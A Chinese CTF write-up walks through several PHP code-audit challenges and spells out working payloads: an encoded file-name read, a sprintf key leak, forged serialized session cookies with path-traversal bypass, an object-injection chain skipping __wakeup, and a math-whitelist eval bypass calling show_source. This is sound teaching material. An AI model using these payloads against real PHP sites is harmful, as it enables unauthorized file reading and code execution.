DD && 国赛 PHP代码审计

记录一下这两次比赛的PHP代码审计思路

滴~

查看网页源码,发现这些是图片的Data Url scheme;观察链接,发现jpg后面的参数是base编码,进行解码;两次base64解码,一次16进制解码得到flag.jpg

则尝试把参数改为index.php,将其一次16进制编码、两次base64编码,即:

jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

虽然页面看起来图片是损坏的,但页面源码出现了Data Url scheme

三次解码,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

提示Can you find the flag file?,在代码开头的博客中找到了提示:

之后将practice.txt.swp编码后访问,解码得到:

f1ag!ddctf.php

根据index.php中的:

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);

其中,正则表达式语法:

  • ^ :放在[]中表示排除
  • . :在[]中就表示点,而不是表示除换行符以外的字符…
  • + :至少一次

即除了大小写字母、数字、小数点,其他字符都要被替换为空;那么要直接构造访问f1ag!ddctf.php,则会将!替换为空,从而访问失败;再根据:

$file = str_replace("config","!", $file);

即可以用config进行替换,构造:

f1agconfigddctf.php

进行编码传参,即可得到f1ag!ddctf.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

之后,访问f1ag!ddctf.php,构造

http://117.51.150.246/f1ag!ddctf.php?uid

即可得到flag

WEB 签到题

查看源码,发现有这样一个js文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/

function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

可以看到其目标网址是http://117.51.158.44/app/Auth.php,访问后显示:

{"errMsg":"error","data":"\u62b1\u6b49\uff0c\u60a8\u6ca1\u6709\u767b\u9646\u6743\u9650\uff0c\u8bf7\u83b7\u53d6\u6743\u9650\u540e\u8bbf\u95ee-----"}

解码得到:

抱歉,您没有登陆权限,请获取权限后访问

还发现js代码将headers中的didictf_username的值设置为了空,则用弱用户名admin,成功获得权限:

解码得到:

{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\/fL2XID2i0Cdh.php"}

访问得到php代码(太多了不贴了).有以下关键代码段:

app/Application.php,Application类:

1
2
3
4
5
6
7
8
9
10
11
12
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}

这里有个file_get_contents函数可以读取文件内容,并返回Congratulations,说明要想办法调用这个类的__destruct方法

app/Session.php,Session类:

1
2
3
4
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

由于path的长度要等于18,则可以推测flag文件可能为../config/flag.txt

app/Session.php,Session类:

1
2
3
4
5
6
7
8
9
10
11
12
13
$hash = substr($session,strlen($session)-32);    # 倒着截取32位,即[-32:]
$session = substr($session,0,strlen($session)-32); # 截取到-32位,即[:-32]

if($hash !== md5($this->eancrykey.$session)) { # $hash要等于eancrykey拼接$session的md5值
parent::response("the cookie data not match",'error');
return FALSE;
}

$session = unserialize($session);

if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

若要利用反序列化,则需要得到eancrykey的值;可以通过下面的代码段获得:

app/Session.php,Session类:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

那么,既然这个if前面有个判断

1
2
3
4
if($hash !== md5($this->eancrykey.$session)) { 
parent::response("the cookie data not match",'error');
return FALSE;
}

,如何绕过这个比较?其实,开始不设置Cookie的时候,会自动调用session_create()这个方法,返回的set-Cookie的值就可以绕过。。。

之后,利用nickname获得eancrykey的值;相关函数:

sprintf():把格式化的字符串写入一个变量中,如:

1
2
3
4
5
6
7
8
<?php
$number = 9;
$str = "RUNOOB";
$txt = sprintf("%s 每天有 %u 万人在访问!", $str, $number);
echo $txt;
?>
//输出:
//RUNOOB 每天有 9 万人在访问!

该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

由于$arr中只有两个值,且$data中只有一个格式化符号,则只会把$_POST[‘nickname’]替换到$data中

因此,构造的nickname的值含有%s,即可获得第二个参数,即eancrykey的值

这里用burp有点小坑,post传参的时候要加上Content-Type: application/x-www-form-urlencoded,不然post无效

得到了eancrykey的值为EzblrbNS

原Cookie中的值:

ddctf_id=a:4:{s:10:"session_id";s:32:"8627a92b4d383045570a8ca46b7f41f3";
s:10:"ip_address";s:13:"123.52.105.90";s:10:"user_agent";s:115:"Mozilla/
5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)
+Chrome/74.0.3729.131+Safari/537.36";s:9:"user_data";s:0:"";}
05eabd341b070b92a0ae3a2d21e68ed2;

利用Application类构造payload,由于path中的../被替换为空,则可进行双写绕过:

1
2
3
4
5
6
Class Application{
...
}
$a = new Application();
$a->path='..././config/flag.txt';
echo serialize($a);

得到:

O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";} 

由于session反序列化后是个数组,则构造:

ddctf_id=a:5:{s:10:"session_id";s:32:"8627a92b4d383045570a8ca46b7f41f3";
s:10:"ip_address";s:13:"123.52.105.90";s:10:"user_agent";s:115:"Mozilla/
5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)
+Chrome/74.0.3729.131+Safari/537.36";s:9:"user_data";s:0:"";s:7:"payload";
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}}
b8497c82c6a0f5500969492ca7a7572b;

最后的32位md5值为md5(EzblrbNSa:5:{s:10:"ses...)

JustSoso

方法一

根据php://filter伪协议,可以读取到hint.php和index.php源码

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

意思:

1.用get方式传递file和payload这两个参数

2.file参数中不能出现flag;file会被文件包含

3.请求的url会被parse_url解析,相关函数:

parse_url — 解析 URL,返回其组成部分 本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

数组中可能的键有以下几种:

  • scheme - 如 http
  • host
  • port
  • user
  • pass
  • path
  • query - 在问号 ? 之后
  • fragment - 在散列符号 # 之后

如:

1
2
3
4
5
<?php
$url = 'https://www.baidu.com/abcd?a=1';
var_dump(parse_url($url));
?>
//输出:array(4) { ["scheme"]=> string(5) "https" ["host"]=> string(13) "www.baidu.com" ["path"]=> string(5) "/abcd" ["query"]=> string(3) "a=1" }

4.如果请求的url的参数部分没有出现flag,则进行反序列化payload

hint.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

意思:

1.定义了Handle类和Flag类,其中,Flag类定义了getFlag方法,在两个随机数的md5相等时调用highlight_file函数,可以任意读取文件;Handle类销毁时会调用这个方法

2.反序列化时会先调用__wakeup魔法方法,相关函数:

get_object_vars — 返回由对象属性组成的关联数组
即反序列化Handle类时会将$handle属性置空

思路:

1.file参数设为hint.php,将Handle类和Flag类包含进来

2.由于需要读取flag.php(猜测),则需要绕过parse_url;

在host后多加两个斜杠,会使parse_url解析失败:

sql.php:

1
2
3
4
5
<?php
var_dump($_SERVER['REQUEST_URI']);
echo '<br>';
print_r(parse_url($_SERVER['REQUEST_URI']));
?>

3.需要绕过

if($this->token === $this->token_flag)

可以通过变量引用的方式;

在PHP 中引用的意思是:不同的名字访问同一个变量内容
如:
1
2
3
4
5
6
7
<?php
$a = 1;
$b = &$a;
$a = 2;
echo $b;
?>
//输出:2

4.需要绕过Handle类中的__wakeup(),当构造的序列化字符串的类的属性个数大于真实属性个数时,反序列化时会跳过__wakeup()执行

5.构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Handle{
...
}

class Flag{
...
}

$a = new Flag('flag.php');
$a->token=&$a->token_flag;

$b = new Handle($a);

echo serialize($b);

?>

得到:

O:6:"Handle":1:{s:14:"<0x00>Handle<0x00>handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"2ecd2bd94734e5dd392d8678bc64cdab";s:10:"token_flag";R:4;}}

在Handle类中,$handle属性为私有属性,参考文章

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上 \0declared class name\0 的前缀。这里 declared class name 表示的是声明该私有字段的类的类名;\0 表示 ASCII 码为 0 的字符

因此,传参时需要url编码为”%00Handle%00handle”

最终payload:

///?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"b77375f945f272a2084c0119c871c13c";s:10:"token_flag";R:4;}}

方法二

session 文件包含,参考:
https://www.ctfwp.com/articals/2019national.html#justsoso

love_math

注:比赛时php版本为7.2.17,在本地复现php版本低于7.0会出现解析错误

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

代码分析:

1.黑名单

if (preg_match('/' . $blackitem . '/m', $content)) 

2.白名单

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
    if (!in_array($func, $whitelist)) {
        die("请不要输入奇奇怪怪的函数");
    }
}

其中:

  • [] 表示单个字符的原子表,例如[a-zA-Z0-9]表示任意一位大小字母或数字
  • * 表示任意次
  • $used_funcs存储所有匹配到的结果,$used_funcs[0]将包含完整模式匹配到的文本

即匹配到所有的:第一位字符为大小写英文字母、下划线、0x7f到0xff,第二位字符为大小写英文字母、下划线、数字、0x7f到0xff;第三位字符重复…

将这些匹配到的字符放到$used_funcs[0]数组中,并遍历这个数组,看里面的字符串是否在白名单里面,如果不在则退出脚本

也表明,可以传入的字符有:$;{}


思路:

数学函数表:http://www.w3school.com.cn/php/php_ref_math.asp

1.有个base_convert函数,可以将数字转换成字母,从而可以构造出其他函数:

base_convert — 在任意进制之间转换数字

string base_convert( string $number, int $frombase, int $tobase)

返回一字符串,包含 number 以 tobase 进制的表示。number 本身的进制由 frombase 指定。frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

在线进制转换网站:http://www.atool9.com/hexconvert.php

36进制的phpinfo的10进制为55490343972,则构造payload:

c=base_convert(55490343972,10,36)()

可以看到成功输出了phpinfo信息:

2.但不能只依赖base_convert函数,因为需要读取的flag.php这个字符串是它构造不出来的,它只能转换为数字和字母

能够将数字转换为字符串的函数处了base_convert,还有hex2bin,但这个函数是白名单里面没有的,因此需要用base_convert去构造

  • hex2bin 16进制转换为2进制字符串

这里2进制字符串也就相当于二进制ASCII码对应的字符串

16进制中也含有字母,因此需要用dechex函数将10进制转换为16进制而不是直接用16进制

  • dechex 十进制转换为十六进制
  • 所能转换的最大数值为十进制的 PHP_INT_MAX * 2 + 1 (或 -1):在 32 位平台上是十进制的 4294967295,其 dechex() 的结果为 ffffffff

因此构造流程为:

10进制数由dechex函数转换为16进制数--》16进制数再由hex2bin函数转换为字符串

如果要直接构造读取flag.php,那么思路就是:

  • 用base_convert构造出hex2bin
  • 用dechex构造出readfile('flag.php')

因此payload是这样的:

c=base_convert(37907361743,10,36)(dechex(186061670364112526798887))

但用PHP会解析失败,原因是数字太大了…

3.由于有白名单正则匹配,参数c中不允许出现除了数学函数外的其他字母,因此要想办法利用其他参数:用$_GET函数,接收其他参数,来完成flag文件的读取

有两个知识:

  • PHP可变变量,一个变量的值作为另一个变量的名:
1
2
3
4
5
6
<?php
$a = 'hello';
$$a = 'world';
echo $$a;
?>
//输出 world
  • PHP大括号的使用;因为一般取数组的某个值时使用中括号,这里中括号是被过滤了的,但可以使用大括号:
1
2
3
4
5
<?php
$a = array('a' => 'b');
echo $a{a};
?>
//输出 b

这时候虽然大括号里面没有用引号将下标引起来,报出Notice,但是会输出结果;这点与中括号一样

4.构造思路如下:

  • 参数c中产生$_GET函数($_POST),并且接受两个参数,一个参数值是文件名flag.php,另一个参数值是读取源码的函数,如highlight_file,show_source,readfile,system(cat flag.php)
  • 由于参数c中不能出现非白名单函数字母,因此接收的参数名可以为白名单的数学函数名、数字
1
2
3
4
5
6
$abs = 'flag.php';
$pow = 'show_source';
$c = "
$pi='_GET';
$$pi{pow}($$pi{abs})
";

这里为什么不能让$pi='$_GET'?因为这样的话$pi就成了一个字符串了,而不是成为超全局数组变量

5.将参数c中的非白名单字符串,即_GET用base_convert函数与dechex函数进行转换(为什么不能直接用base_convert转换?因为该字符串存在下划线,不属于36进制内):

首先用base_convert构造出hex2bin:

base_convert(37907361743,10,36)

之后将_GET转换为16进制:

5f474554

再将16进制转为10进制:

1598506324

则参数c的payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}($$pi{abs})

最终payload:

?abs=flag.php&pow=show_source&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}($$pi{abs})